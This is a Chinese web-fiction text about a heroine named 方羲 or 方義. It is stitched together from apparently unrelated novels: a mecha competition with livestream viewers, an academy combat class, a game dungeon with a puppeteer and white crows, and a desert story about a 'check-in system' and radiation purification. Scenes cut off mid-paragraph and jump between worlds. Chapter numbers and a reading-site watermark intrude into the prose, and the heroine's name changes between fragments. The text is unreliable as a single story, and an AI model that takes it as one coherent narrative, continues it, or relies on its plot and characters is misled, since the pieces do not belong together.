光脑买的时候两万多星币，转手就打了个骨折。换的老光脑在退休极限，除了联网收发消息没别的用处，还卡得厉害。 光脑终于联上星网，消息图标闪了半天，新消息还是加载不出来。 闪烁着的屏幕倒是稳定了，显示出个人中心，总账户余额： 0。 方羲看这数字就糟心，听见方绮还在纠缠，直接点名，“方绮你这么关心我，就先把偷的工具箱还给我吧。” 方绮笑容僵住，“我没……” 方羲打断，“我的工具箱是用流金石打造的。” 所有人目光都落到方绮身边的悬浮环上。浮空的白金色箱子流淌着金沙般的光泽，正是流金石的特征。 要是比赛前听说是偷的，他们第一个不信。但眼看方羲拿了第一，并不是传闻中的废柴，时常帮方绮说话的同学都迟疑了一下。 方绮看了于蓝好几眼，满心后悔的于蓝完全没接收到信号。 方绮只好自己开口，“流金石能减少宇宙射线损耗工具，产量低，舍得拿来做工具箱的更少。我知道羲羲妹妹你羡慕我有一个，但也不能空口明抢呀？” 方羲摇头，“工具箱是爷爷奶奶送给我的生日礼物，倾斜时，一角会显示我的名字。” 方羲抬手一指，托着箱子的悬浮环被碰到，猛地歪斜。 “你干什么？想动手？” 到底和方绮做了几年同学，有人没忍住为她出头。刚上前，突然愣住，直勾勾看着箱子，“你们看……” 工具箱倾斜，表面流光如水汇聚，在右上角凝出小小的金字，恰恰是一个“羲”字。 铁画银钩的小字凝而不散，足够所有人看清。 “不可能！”方绮脱口而出。 她拿到箱子这么久，从没发现有标记！ 但实证摆在面前，无可抵赖。 对上其他人古怪的眼神，方绮后悔自己的口不择言，连忙描补道，“怎么会呢？这是爸爸给我买的入学礼物啊。” 方羲：“说不清楚，那就报案吧。” “不！不用麻烦星警！”方绮一口拦下，心痛得要命。 要不是被提起，她都忘了用习惯的工具箱是拿方羲的。流金石的箱子价值不菲，里面的工具更是昂贵，还给方羲，她哪有另一个工具箱用？可是……不还不行。 方绮假装恍然大悟，“应该是和羲羲妹妹的拿错了！看你，该早点提醒我的，真是闹了个大误会。都是一家人，怎么会偷你的东西呢？” 方羲无动于衷地看着她表演。 方绮心里把突然不好糊弄了的方羲骂了八百遍，忍痛道，“你身体弱不好拿，悬浮环也送给你吧，就当是祝贺你了。” 方绮解除了悬浮环的绑定，方羲一点也不客气地接过，当面打开箱子确认。“哦。” 方羲态度格外敷衍，方绮被气得够呛，却不敢说什么，生怕她又说要报警。 方绮觉得自己的理由说得过去，倒不怕被查。但星警进家里查案，丢的不只是她的脸，父亲和哥哥都要生气了。 方绮过于紧张，完全没发现，身边同学们看自己的眼神更奇怪了，带上了审视和疑问。 方羲转身悄悄勾了勾唇。 方绮当然没见过这个标记。 毕竟……箱子确实是方绮偷的，但字是方羲刚写的。 流金石材质特殊，有个修仙界才知道的秘密，倾斜四十五度时对外界气流敏感，用一定力度能留下各种印记。 凌空写字画符是符修的基本功，现在方羲灵力不足，没法画灵符，但引动气流写字简简单单。 大伯一家把她赶出家门，先拿回点东西怎么了？ 偷的东西，总要还的。 方羲心情不错，像牵气球一样牵着悬浮环，向赛场外走去，顺手拍了拍还在转圈圈加载的光脑。 用上简易维修大法，卡住的光脑总算跳出一封邮件，来自机甲大赛委员会。 点开邮件，不知光脑内零件碰到了哪里，带着滋啦滋啦电流声的AI语音自动开始大声朗读： “No.10001，选手方羲，恭喜您在初赛中获得优异成绩，荣获第九赛场第一！萤火星赛场第一名，奖金10w星币，扣税后已发放至您登记的账户，请注意查收。” 方羲精神一振：来钱了！ 方绮亏了钱又丢了脸，急匆匆往赛场外走，听见身后再次响起的“第一”恭喜声，眼前发黑。 “第一？” 赛场出口，蹲点采访选手的媒体捕捉到关键词，立刻围了上来，“方小姐！方绮小姐，您获得了这次萤火星海选赛的第一对吗？真是天才出少年！生机机甲的创新后继有人！” 赛前就拿了好处做宣传，听到“第一”又看到是方绮走出来，他们完全没想过方绮没获奖的可能性。 明明是期待已久的时刻，方绮嘴唇发抖，难堪得一个字也说不出来。 最前方的媒体人感觉不太对劲，迟了一步冲上去的记者在身后疯狂拽人，小声提醒，“别问了，搞错了搞错了，第一不是她！” “啊？你说啥？” 后面的记者只好大声重复，“第一不是她！是方羲！” “方羲是谁？她怎么做到的？”所有媒体都在问。 “……” 方绮一口气没上来，昏了过去，最后一个念头闪过：气死她了，准备的宣传，全便宜方羲了！ 有人叫破后，争先恐后往方绮面前挤的人如潮水般迅速消失，方绮的昏迷倒是为她拿到了部分版面。 赛场门口一片乌龙闹剧，星网上，萤火星海选赛黑马带来的震惊，才刚刚开始。 …… 水蓝星系主星，水蓝星。 “欢迎新来的观众，我是钱钱~今天不播飞行器竞速也不打游戏。最近不是机甲大赛嘛，你们想先看哪一场比赛？咱们一起看？” 主播钱钱家世好，直播主打随心所欲敢说真话，在水蓝星小有名气。 傍晚时分星网正热闹，刚开播，空中就飘过几条弹幕：[捕捉水时长的钱小胖！戳你圆脸！] 钱钱理直气壮，“关注前沿比赛，怎么能叫水时长！听说生机机甲这次有人参赛了，应该在萤火星赛场，咱们看那一场吧！” 飘在空中的一面面赛场直播屏幕，像一片片雪花般飘飞，停在亮着萤火星标志的画面上。 [中央星系的比赛还没开始，跟钱钱一起看咱们本星系的比赛打发时间好咯。] [笑死，能把热血竞速搞成搞笑番的也是人才。这是第几个原地解体炸烟花的机甲了？知道是极限流，但这也太极限了……好歹跑完再翻车啊！] [看普通机甲师菜鸡互啄，我总有种我上我也行的幻觉哈哈哈！] [好家伙，慢得像蜗牛的中型机甲都来凑数了？没悬念了，最后一组提前退出竞速排名，心疼改造的机甲师2333] 弹幕幸灾乐祸，主播钱钱摇头开玩笑，“成绩不到最后一刻还说不准呢——我赌这组得炸五个烟花！” 机甲比赛改造后将机甲性能发挥到极限，一场比赛下来，冒烟着火解体散架的机甲众多。五千米对机甲来说不到一分钟，展示竞速很快，还不如每组下场后清理赛道的时间长。 前面上场的相对新的机甲都炸了几个，最后一组上场的机甲又老又破，几乎没人看好。 [有的还是不错的。看那台白色的，应该是这组涂装和造型最好看的了吧？] [我看直播间扫描的数据，白色那台机甲改造度上了30%，看样子有点本事，大概率是这组第一了。] [等会儿，隔壁那台机甲是怎么回事？No.10001，改造度……0.1%？？？] [？？？不可能吧，这是来赛场观光睡觉的吗？拧个螺丝钉改个部件颜色都不至于才0.1%啊！] [你们找到改造部位了吗？我怎么感觉这台机甲压根没被改造过？] 钱钱也注意到不对劲。 在各色涂装中，偏偏有一台机甲依然是初始的陈旧青铜色，没多也没少零件。 锁定对应机甲放大，仔细看了两遍，钱钱才找到不同。“涂装改了。你们看这里的花纹。” 机甲背部，深绿色的纹路行云流水一般，带着独特的古朴韵味。 [无语了，改涂装就改这么点？好敷衍。] [跟小孩子涂鸦似的。别人用心比赛，这位只画几笔，怕不是来蹭材料长见识的混子，一点都不尊重比赛！] 弹幕骂骂咧咧，钱钱越看花纹越觉得漂亮，忍不住为陌生的机甲师说话。 “敷衍涂鸦倒不至于。可能是哪个机甲涂装师的艺术创作，还挺好看的。” 但艺术归艺术。看着它启动时落在最后，钱钱摇摇头，“这台没改装的机甲应该只能倒数第一——我去！什么闪过去了？！” 钱钱瞪大的眼睛，映出屏幕上一道银色流光，最后一名机甲只剩残影。 音爆轰鸣中，钱钱恍恍惚惚，“家人们，我好像看见神仙了……这是蜗牛爬的破机甲炫技爆改超音速战斗机啊！” 人偶师摘下斗篷的帽子，抬起手，让一只白鸦落在自己手腕上，似乎在轻声安抚着什么。 上百只纯白的群鸦，围绕着它们的创造者翩翩起舞，声音嘶哑着叫，却在这永恒的一刻，像是在歌唱世界上最动听的生命歌谣。 人偶师放下手，让白鸦重新飞翔。黑色的眼眸望向不远处的队友们，轻叹一声。 “各位，追上你们真是太不容易了。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第 81 章 第 81 章 当看见这些玩家纷纷愣在原地，脸上的表情如出一撤的惊愕，僵在原地一动不动的样子，方羲还深感纳闷。难道这些玩家在副本里呆傻了？ 五分钟后，方羲决定收回她刚刚的想法。 因为她现在正遭遇一群社交恐怖分子的连环轰炸。 “收藏家，秦队啊。知不知道我们有多想你们，我们生怕你们有个什么三长两短，回去黑天鹅之后也不知道该怎么交代……” “闭上你的乌鸦嘴！！！” “这两个人真的是活人？不会是异端的圈套吧？” “方羲同学。” 方羲带着满身热汗推门进来，此刻熔日方出，昏沉的雾色中透出几抹曜金光线，生活管家的光屏扫出一行行程： “你的课程：能量场单兵理论，将于半小时后开课，请及时前往明理楼四楼，41372全息教室。” 方羲快速收拾好，抽了根营养液准备出门。 正巧对面顾妗雪推门出来，她今天特意戴上白色美瞳，眉毛被化的冰晶一样，整个人好似冰雪中走出的精灵。 “吃早饭，一起？” 顾妗雪清淡的语气邀请。 方羲匆匆关上门，唇齿叼着营养液的封口一撕，才腾出嘴巴来说话：“吃不了，早八，马上迟到，先走了。” 说着，很快出门，顾妗雪在门里还能听到她匆忙的脚步声。 明理楼四楼，踩着点跑进来的方羲在拐角处，迎面一个人横冲直撞，一个红毛脑袋看着格外眼熟。 方羲一侧身，只听见嘭的一声响。 “嗷！” 红毛捂着自己的脑袋，在大门前叫了一声。 “你……” 他忍着痛震惊的看向方羲，刚想谴责，结果一下语塞：“你你你……” “我？” 方羲指了指自己，“再不进去，我们都得迟到。” 成维反应过来，赶紧推门，一边朝她示意，“走走走，这个老师扣分可严了。” 最晚到来的人，只剩下前排正对讲台的座位。 成维见状，脸色一黑，一走过就用唇语说了一句：“你们真阴险。” 有和他熟悉的人低着头偷笑。 方羲还没发现有什么不对，她平静坐下。 直到一身黑色制服，纽扣一丝不苟扣到最上，黑色锻布上，找不到一粒显眼的灰尘，一个褶皱的眼镜男老师走进来。 一垂眸，正好对上她的眼睛。 方羲突然明白了，这个宝座为什么空了出来。 夏无忧瞥了眼前排熟悉的红毛，眸光露出几分恨铁不成钢，但在他的冷面下，几乎没有任何的变化。 成维朝方羲做了个‘嘘’的手势，自己却凑近方羲，嘴唇不动，别扭的发声：“夏老师的课，特别严，而且喜欢出其不意，最好别走神。” 方羲若有所思点了点头，看见他凑过来，好奇的问：“你也是单兵系？” 成维不好意思的点了点头，比出两根手指：“我二年级，嘿嘿。” “可这是一年级的基础课程。” 方羲幽幽道。 看着成维脸色肉眼可见一红，她了然：“你挂科重修？” 成维一哽：“什么挂科，说的这么难听，读书人的事，能叫挂科？我就不能是喜欢夏老师的课，特意回来品味一下。” 方羲平淡的往他心上扎刀子：“哦，一万八的重修费。” 七院对挂科的管制很严格，不但中段考，末端考和期末考，一门不达标，课程重修，重修费用也极为高昂。 所以即使论坛有许多代课单，在代课单之后，甚至衍生出了许多，代课补习项目。 成维被一万八哽住。 这么多钱，可够他买好几样机甲零件了，已经心痛很久了。 但还不等他说话，讲台上，板正的年轻老师居高临下的垂眸，静静的看着他们两个。 方羲在一股目光定在身上时，就敏锐的感觉到了，于是静在原地，不说话也不懂，看上去像个木头人。 成维无能狂怒一秒，做出一副凶相，还没恐吓，余光瞥到讲台，行动一下顿住。 他慢慢缩回自己的位置，朝夏无忧笑了笑。 面无表情的老师冷漠的盯着他，语气似乎好奇，可声线不平不缓：“真看不出来，你对我的课，这么感兴趣。” 成维尴尬的笑了笑：“都是老师您讲的好。” 夏无忧冷笑一下，在讲台上打开他的戒尺，蓝光扫描，确定实到人数。 “好了，现在，能量场单兵基础课程开始。” 夏无忧冷厉的声线响起。 整个教室鸦雀无声，七院的一年级新生都噤若寒蝉，混迹论坛的对这位夏无忧老师，了解得越深，压迫感更强。 方羲倒是对这门课很感兴趣，成维几次转头，都被她专注的神态，搞得面色羞愧。 为了维持自己的学长形象，于是被迫认真听起来。 夏无忧一直清楚他的授课风格，学生们害怕他的眼神，被迫认真听课。 这还是头一次，被人用这种专注的，赞同的目光注视着，好像地位反转。 她不像个学生。 像个评审员，评估他的授课内容。 夏无忧顿了一下，在讲到单兵承伤的内容时，突然想到一件事，于是中间停了下来。 “前两天，分析师系有个老师说，我们单兵系有同学代课，代到了二年级”，他皱着眉，远望一眼，“结果问了一个简单的问题，回答的啼笑皆非。” “是吧，方羲同学？” 他低头看了眼座位信息图，在方羲的位置上点了点。 方羲露出一个疑惑的表情，成维手指戳了戳她，试图提醒，结果转头，看见方羲比他还迷茫的脸：“问你呢！” 方羲慢一拍的站了起来，疑惑的看夏无忧：“我？” 夏无忧站直身体，挺拔的姿态，斜着眼睛，有些不屑：“杨琴鹤问了你什么问题？” 方羲复述一遍。 “那你怎么回答的？” 方羲已经知道这是个错误答案，因此抿了抿唇，看了眼夏无忧，不确定这位老师到底是什么意思。 夏无忧等了三秒，没听到动静，掀开眼皮询问：“说啊，愣着干嘛？” 方羲眼珠一凝，木着脸答：“我说，那就把能量体都杀了，我的队友就安全了。” 这样的答案，放在单兵系，也引起了哄堂大笑。 夏无忧特意等了一秒，见到许多人的不认同后，才慢悠悠的从文档里，调出一个影像。 “这很好笑吗？” 他的语气很平，显得更加严肃。 于是哄笑的声音一停。 “我觉得你说的没问题。” 夏无忧看着方羲，表示赞同，“分析师为什么不能这么做，谁为分析师定下的规矩？” “星盟对分析师的定义是，在能量场中，协助分析场内情况，能量波动，判断能量晶的位置，以便尽快解决能量体的角色。” 他眯了眯眼，那张拽天拽地的年轻脸上，充满了轻视和鄙夷：“到底是谁、哪一个字，说了这个解决的角色，不能是分析师？” 说完，他抬手点了点，示意方羲坐下，继续他的高谈阔论：“你们都是单兵，这门课，都在教什么东西，我早就说教育部的那群人，思维都跟不上时代了，现在还搞什么单兵防御流。” “分析师也走防御流，单兵也走防御流，一个队伍就五个人，就三个能打的，这不是让别人把你们按在地上打？” 说完，他盯着方羲，再度认同她：“你说的没错，你听好了，分析师流派多样，多的是强攻流。” “既然这节课大半都讲了防御流单兵，接下来给大家介绍介绍，强攻流单兵。” 说完，夏无忧打开了他的影像资料。 入目先是一张人物介绍。 弹出一个立绘，赫然是夏无忧本人。 上面写着一行：第六军区主队单兵夏无忧。 以下列出一大串战绩。 夏无忧本人淡淡的扫过，低调的挥手：“这些噱头，等你们有机会进十一区，也会有的，说不定还有更多。” 说完，他跳过这一页，放出分析师的界面。 分析师：宋行彰，第六军区主队分析师 夏无忧过的太快，方羲匆忙间，只看到了一行“进无垠之海，斩杀3S级能量体，强攻流派”。 影像资料被夏无忧一帧帧解读，每一个动作的动机，原因，为什么这么做，全部拆碎。 成维看见他沉浸在讲课之中，悄无声息靠近方羲。 方羲看见他嘴唇分明没动，但就是能发出声音。 “夏无忧老师据说是，前任十一区总分析师宋行彰的单兵队友，是宋师一手带出来的，强攻流单兵。” 方羲了解到了一个新的人物，在默默的记住宋行彰这个人，随后又投入课程中去。 夏无忧虽然行事有些高冷，言语颇为嚣张，但的确很有几分本事。 狄谦在格斗上有自己独到的理解，夏无忧在单兵实战上有丰富的经验。 据他所说，好的单兵，是分析师的第二双手。 当队伍中的五个人，均可以做到攻防兼备，才能称之为一支战无不胜的队伍。 “终于结束了。” 下课提示响起。 夏无忧停下话语，宣布结束，随后收起自己的教案和教具，潇洒的转身就走，丝毫不停留。 成维放松的倒在座椅上，看方羲一脸回味的样子，忍不住提醒她： “你真的喜欢听这门课啊，看你这么认真，这些东西其实都不太重要，三段考都不会提及，夏老师每一次开课都会讲这些，据论坛分析，是在回忆他沉浸波澜壮阔的边境人生。” 成维甩了甩头，很认同夏无忧：“不过，我要是有他这样的成绩，我别说是做成教案每一年都放，我恨不得注册星网娱乐号，每个星球都放一遍。” 方羲没在意他的吹嘘，他看了看课表下午没课，准备回去搜一下这个宋行彰，她还有点感兴趣。 录像里，分析师的几次举动，都和她的判断重合，方羲有一种找到同类的激动。 “你等会去上课？”成维问道。 方羲如实摇头。 他腾的站起来，“那正好，你之前说的是，八折的那个，还算数不？” 方羲想起来，是之前许诺过的材料友情价。 她点头：“你买什么，得看我有没有。” “哦，不是我，是我一个生物系的哥们，这样，你要是没课，我带去生物系实验园那边，他要的有点多，你们俩谈。” “你还没去过生物系吧，哥们带你去扫扫货。” 方羲歪了歪头，露出几分不解。 十九名首席玩家，被群鸦带起，飞翔。全身就好像变成一根轻盈的羽毛，自由地飘荡。 唯有造梦家林镜子身上的白鸦，并未如约振翼，而是在原地可可爱爱地歪着脑袋。 人偶师向林镜子伸出手。 她微微一愣，但立刻反应过来，抓住。 人偶师踩上一根几乎凝为实质的金线。 眨眼的瞬间，二人就站在神圣冰冷的修道院门前。 云烟弥漫着四方，壮美、亘古的教堂建筑瞪着人类，她们像是两粒微小的尘埃。 十二名光明信徒，垂着头，赤着足，全身罩着一片白布，只露出似人似鬼的脸，站在大门之下的阶梯，低声念诵着虔诚之音。 林镜子有些晃神，却不是因为面前的修道院，这个即将开启的战场。 而是。她微微侧目，看向神情有些冷淡的人偶师，握着魔杖的右手又一次轻轻颤抖了一瞬，心脏发疯一般地跳跃。 她是先行者。 比任何人都要走得快。 比替行者还要更快地窥见长路的真相。 第 82 章 第 82 章 方羲抓住一缕丝线，直接缠绕在林镜子的手腕上，轻轻拍了拍她的后背：“一定要盯死我的生命值。” 前面没有造梦家在身边辅助，方羲的确走得有点难受，受了很多没有必要的伤，也没什么资本可以随便发疯。 林镜子点点头，认真说：“我明白。” 唯一跟过来的大白鸦，从人类身上展翅离开，发出嘶哑难听的叫声，红色的眼珠子死死瞪着其中一个身形有些瘦弱的光明信徒。 它们依然在念诵着祈祷词，站在原地屹然不动，仿佛根本不在乎底下这几个进犯者。 修道院的大门缓缓开启，走出一名穿着纯白色法衣的修女，头顶垂落着十字架挂饰的头巾，双眼被黑色的针线缝闭，身体捆着束缚的腰封，神情却染着虔诚、痴迷，还有誓要杀死蚂蚁的、隐晦的恨意。 帐篷这边方義帮不上什么忙，坐了会儿，她便打算出去探探情况。 “嗯，注意安全，别走得太远。”方杏有点儿不放心，但也知道以她们现在的情形，光等在原地是不行的。 于是压下了心中的担忧，只仔细地叮嘱道：“记得带武器，还有撑伞，外面的阳光太烈了。” “杏子姐，我知道的。” 方義点头，将五芒星吊坠空间器里可能有用的材料都取出来留在了帐篷里，才拿着那把黑色的撬棍走了出去。 外面果然骄阳似火，里外的温差至少有十几度，方義一出来额头上就冒了汗。 不过还好，还在可以忍受的范围内。 而且空间器里面的大黑伞效果是真的好，不仅能遮阳，还有一点降温的作用。 方義的方向感很强，帐篷搭建的地方本来距离她们坠落的地方就不远，没走一会儿就回到了原地。 她远远地便看见了那个变灰的签到地，以及周围若干个闪烁着白色光芒的崭新签到地。 【检测到签到地——九阶药剂宗师的陨落地（重置中）】 【检测到签到地——沙漠荆棘（一阶）生长地，是否花费1签到点签到？】 【检测到签到地——明目草（二阶）生长地，是否花费1签到点签到？】 【检测到签到地——沙蝎（一阶）遗留下来的洞穴，是否花费1签到点签到？】 【……】 每走过一个白色光点，方義都能听到系统叮咚的提示声响，但她没急着签到，而是蹲下身仔细观察了会儿。 签到地的分布相当随机，似乎没有任何规律。 沙漠里的动物和植物数量不多，但也不是特别少，就方義一路走来，看见的沙漠荆棘就有好几丛。 但只有其中一丛是签到地，其他的地方没有任何反应。 看着个人面板上仅存的4个签到点，方義摸了摸下巴，思考了一下，在【签到地——明目草（二阶）】和【签到地——沙蝎（一阶）遗留下来的洞穴】两处选择了签到。 目前物资充裕，加上签到点的获取方式还不清楚，倒不急着用完签到点，可以留2个以备不时之需。 只是这签到系统究竟能签出哪些东西来，是否和签到地属性有关，也可以多尝试几次试探一下。 【您在签到地——明目草（二阶）签到，获得火眼金睛（技能）！】 【您在签到地——沙蝎（一阶）遗留的洞穴签到，获得沙蝎毒素精华（二阶）X10！】 方義的眼中蓦地亮起了淡金色的光芒，光华流转，又慢慢消散于眼眸深处。 她只觉得双眼传来舒适的凉意，紧接着蔓延至大脑，整个人仿佛都变得神清气爽起来。 与此同时，系统空间里也多了10瓶紫黑色的液体，显然便是签到得到的后一种物品。 ‘所以，签到不仅仅能得到物品，自动储存在系统空间中；还可能得到技能这类虚拟属性，直接就起作用了？’ 方義不确定地想。 只是样本太少，不一定全面，可信度不高。 签到系统也没个详细的介绍说明，只能小心摸索着来。 不过，这次签到倒是给方義提了个醒。 除非是必要关头，否则尽量不要在他人面前签到，以免被人看出不对劲。 心里有了决定，方義又拉开了签到系统的个人面板。 【方義（LV10） 签到点：2 物品：恢复药剂（九阶）X8，沙蝎毒素精华（二阶）X10 技能：净化师（一阶），火眼金睛】 她的注意力放在了两个技能上。 【技能：净化师（一阶）】 【描述：产出的灵力可净化辐射，只可惜一阶的你实在太过弱小，聊胜于无吧！】 方義：“……” 这签到系统还蛮有个性的，莫名有种被嘲讽的感觉呢！ 方義擦了把额头上的汗，看起了第二个技能的介绍。 【技能：火眼金睛】 【描述：可看破一切虚妄，看清最真实的本质。千变万化，实物虚体，都逃不过一双慧眼。】 听起来是个十分高大上的技能，很难想到竟然是在二阶明目草的签到地签出来的物品。 毕竟，明目草在星耀帝国算不得什么稀罕东西，只是因为生长在干旱之地，所以供应量不高。 不过明目草本身的需求量也一般，虽然传闻圣阶明目草能使得盲人复明——无论是因为什么原因而导致的失明。 但圣阶是什么品阶？整个星耀帝国都不一定能找得出来一株，更多的还只是普通品阶的。 帝国植物研究所花费了不少资源和心血，也只成功地培养出了一株九阶明目草，据传对治疗近视的效果特别好。 可星耀帝国的科技太发达了，无论是多高度数的近视，只需要简单的激光治疗就行。 短短几秒无痛治愈，没有任何后遗症，价格还特别便宜，比高阶明目草不知道实惠多少。 因此，大多数时候，反而是三阶以下的明目草使用得更广泛些。 成本不高，当成缓解视力疲劳、预防近视的零食来吃，味道还是清淡偏甜的。 从原身的记忆里翻出了这段，方義瞧着那变灰签到地的眼神都变得“和蔼可亲”起来。 【签到地——明目草（二阶）生长地（重置中）】 ‘好好重置，重置得快些呀，等重置成功了，哪怕还没找到签到点的获得方法，我都来你这儿再签一次。’ 说不定人品大爆发，又签出个技能来呢？ 方義美滋滋地想着，试探性地使用了【技能：火眼金睛】。 下一秒，她所看到的世界完全变了个模样。 空气中多了一缕又一缕黑色的雾气，一刻不停地随机飘动着。 每一株植物上，都多了一小段红色的血条，它们的根茎和義片上也游动着许多黑色的小点。 那黑色小点的浓度比空气中黑色雾气的方色还深上许多，看起来乌漆嘛黑的，莫名给人一种不详的感觉。 就有种——玩游戏的错觉！ 还是那种暗黑向的恐怖游戏，阴森森的！ 方義被自己的脑补吓得一激灵。 这些黑色雾气和黑色小点究竟是什么东西？ 很快，她就在原身的记忆里找到了答案。 ——“辐射？” 方義不确定地想。 在星耀帝国，辐射是令所有生物深恶痛绝的东西，具有严重的侵蚀作用。 普通的动物和植物会因为辐射病变。 哪怕是变异动植物，也会因为辐射失去理智，充满了攻击性，最终在极度的痛苦中死去。 普通的人类容易患上辐射病，男性异能者更是深受辐射所苦。 一旦身体辐射值超过界限，就会堕落成嗜血的兽形，很难再恢复。 因此，能觉醒灵力、净化辐射的贵女才相当有地位。 要不是原身犯的过错实在太大，自身的天赋又非常一般，也不会落得个流放的结局。 不过，哪怕天赋再一般，原身也是成功觉醒灵力的一阶贵女，应该是能完成基本的净化过程的？ 方義结合原身模糊的记忆，闭眼感知体内流动的灵力，指尖逐渐亮起了一点乳白色的光。 还真有！就是动作有点生疏！ 方義睁开眼，俯身碰了碰面前那株二阶明目草義片上的小黑点，慢慢往里面注入灵力。 一遇见灵力，小黑点像是碰见了什么可怕的天敌般，如同烈日下的冰雪寸寸消融。 与此同时，黑点开始笨拙地慢速移动，乌龟一样像远处挪移。 但辐射黑点的速度哪里比得上方義灵力流动的速度？ 更何况，在【火眼金睛】的效果下，方義将辐射黑点的移动轨迹看得一清二楚，追得轻轻松松。 没一会儿，那个辐射小黑点就被灵力消灭了。 方義觉得有趣，再接再厉，又向第二个小黑点发动了进攻。 不知过了多久，二阶明目草身上的小黑点消失了大半。 沉浸其中的方義则脸色苍白，眼前一黑，双腿发软。 要不是眼疾手快地靠着伞柄撑地，她险些一头栽倒下去。 尽管没摔倒，但方義还是头晕目眩，不停作呕，胸腔闷闷得疼，浑身上下到处筋脉都在胀痛。 草率了！ 好惨！她这是自己挖坑把自己埋了！ 方義大脑好像在嗡嗡叫，缓了一会儿才回神，忍着难受从空间器里取了一瓶一阶的恢复药剂喝了。 幸好，恢复药剂的效果还算不错，又休息了一会儿，方義才慢慢有了精神。 “呼……” 方義吐出一口气，缓缓地站了起来。 没想到过量使用灵力的代价这么大，她之所以这么虚弱，就是因为体内的灵力全用光了。 一共十来根头发丝大小的灵力，现在是一干二净，一滴都榨不出来了。 “还是莽撞了……”方義在心中告诫自己。 不过一句话还没说完，她便察觉到了一些意料之外的小惊喜。 ——体内的灵力恢复速度好像快了些，不仅如此，总量也多了些。 原来大概有十三根头发丝那么多，现在则增长到十三根又四分之一的样子。 难受是难受，但熬过了那一阵，并没有什么后遗症。 就——还成！ 方義若有所思。 忽的，不经意间瞧见个人面板上的数据变动时，她整个人像是被天降馅饼砸中，差点高兴得跳起来。 方羲冷漠地说：“你骗我。” 但她想了想，还是转头看了一眼，的确有几个猎人脸色有些苍白，但精神状态还不错，根本不像快死了的样子。 修女立刻转身，试图逃跑。 很遗憾，它使用着一张美丽的人皮，同样要忍着“动作优雅矜贵”的弱点，导致奔跑的速度有些慢。 而且大门之后，是一条长长的廊道。 “上来，开枪。” 一颗附魔子弹瞬间穿透修女的心脏。 “跟紧我，别走丢了。” 第 83 章 第 83 章 所有人紧紧盯着方羲的背影，跟着她踏进无尽长廊。 淡金色、雕刻着繁杂花纹的长廊，窗户洒落金色的微光，空气漂浮着尘埃，即使是被穿透心脏的修女尸体，也很快被“刷新”。 长廊一尘不染。 方羲顿住脚步。 滴答。 方羲微微抬头，一个巨大的女神头颅，眼睛流着血，轻轻滴落在她的脸颊，发出滋啦滋啦的烧焦声。 象白色的头颅飘荡在修道院之上，淬炼着血的天空，规则文字像是蜡烛一般缓慢地流，凝为一颗红色的石榴。 落在手掌，光滑细腻的、深红色的表皮，仿佛带着诡谲的诱惑力，让人不由自主地想撕开外壳，吞咽颗粒饱满的果实。 传说中可以让一切盲人恢复光明的圣阶明目草，便成了最后的希望。 只要听说了哪里有圣阶明目草出现，谢家都会迅速派人前往搜寻，谢戈和谢别寒也一直在寻找圣阶明目草的路上。 可惜圣阶药材实在太难寻了，直到现在，还是一无所获。 谢别寒的气质和容貌实在太加分了，长睫低垂，神色平淡，让人忍不住心软叹惋。 洛玉的防备心下降了很多，但眉头还是拧在一起的：“那你们为什么要偷听我们说话？” “天地良心，我们可不是故意偷听，只是刚好在这边歇歇脚！”谢戈满脸无辜地解释，一脸被冤枉的心痛。 也是，看他们的打扮，显然出身大家族。 她和小義身上，着实没什么值得他们算计的。 洛玉最后一点儿警惕心也放下来了，不好意思地笑了笑：“原来是这样。不过，你们刚刚说的无法提取是什么意思？” 谢别寒抬眸，“看”向了方義的方向：“要单独聊聊吗？” 难道是小義身上出了什么问题？ 洛玉的眉头不自觉地皱起来，看了眼电磁炉旁边一团又一团的失败品，心中多了些担心。 但还没等她开口，谢戈便自来熟地凑了过去，小声笑道：“谁还没有点秘密？我们是真的没坏心！” 听了他的话，洛玉顿了顿，有些犹豫。 趁着她迟疑的时候，谢戈已经拉走了她，还顺便带上了电磁炉和药材。 “走走走，我们去那边说话，是要炼制一阶止血药剂吗？我教你啊！” “说起来，这还是我第一次看到有人用电磁炉炼制药剂，还真够有创造性的！” 谢戈真诚地竖起了大拇指，啧啧感叹。 鼎炉设备先进，完全不是电磁炉能比的。用电磁炉炼制药剂，难度不知道比专业的鼎炉高了多少。 可就是这样的装备，初学者的洛玉还成功地完成了药材的精华提取，融合也只差最后一点儿了！ 是真的天赋强大！令人钦佩！“夫人对我有大恩，小義你又救了我的性命，我照顾你不是应该的吗？” 方杏想也没想，理所当然地回答。 在她的心里，将方義照顾好是她义不容辞的责任，现在这样简陋的条件，已经是她不称职了。 “哎呀，这哪有什么应该不应该的？”方義帮着端盆出去，眼神亮晶晶的：“对了，如果我没有记错的话，杏子姐你好像是一名药剂师？” “勉强算是。”方杏纠正道：“准确来说，只是一名药剂学徒，偶尔能运气爆棚，炼制出一阶药剂来。” 炼制药剂实在太困难了。 她跟着专门的药剂师学习了十几年，也只习得了一些皮毛，至今连一阶药剂师的认证考试都没过。 就这，方杏在她们班的天赋还算好的。 有许多同学，学了十几年，还仍旧没办法完成药材精华的提取。 “那能不能教教我？”方義期待地眨眨眼。 杏子姐和她朝夕相处，对她实在太了解了。 好不容易得了药剂师的高阶技能，她是肯定得好好利用的。 但在这之前，必须得寻到一个合适的借口，让她的技能变得顺理成章，避免杏子姐的怀疑。 “当然可以！小義你不嫌弃我水平不够就行。”方杏腼腆地笑了笑，一口答应了下来。 她是个笨拙的人，或许教不了小義什么。 不过幸好，老师的每节课她都认真听了，也都认真地做了笔记，应该能帮到小義。 毕竟，她的老师可是一名厉害的三阶药剂师！ 要不是夫人帮忙找了关系，光凭借她自己，还真不一定能成为老师的学生。 “好嘞！谢谢杏子姐！我就知道杏子姐你对我最好！” 方義亲亲热热地凑了过去，嗓音清甜柔美，像是掺了蜜糖。 荒星这边一片和谐，而在三等星球X-7899星，一个容貌俊美的男人也猛然惊醒。 他生了一双凤眼，气质清冷，但并不锋锐凌厉，反而如同清冽的幽泉，瞳孔表面蒙着一层淡淡的灰色雾气。 惊醒后，他并未急着起身，而是安静地坐在床上，任凭晨曦倾泻而落，落在他纤长的睫羽，如同一片碎金。 直到一张俊俏的少年脸蛋从窗户探了进来，嬉皮笑脸的，让人忍不住想到春日温暖的阳光。 “小叔叔，在想什么？”见男人已经清醒，少年身姿矫健地从窗外跃了进来，止不住的好奇。 谢别寒没开口，神色还是淡淡的，明明目不能视，却准确地朝向了少年的方向。 他的眼神中并无太多批评指责之意，但谢星摇却反射性地立正站直，差点就行了个军礼。 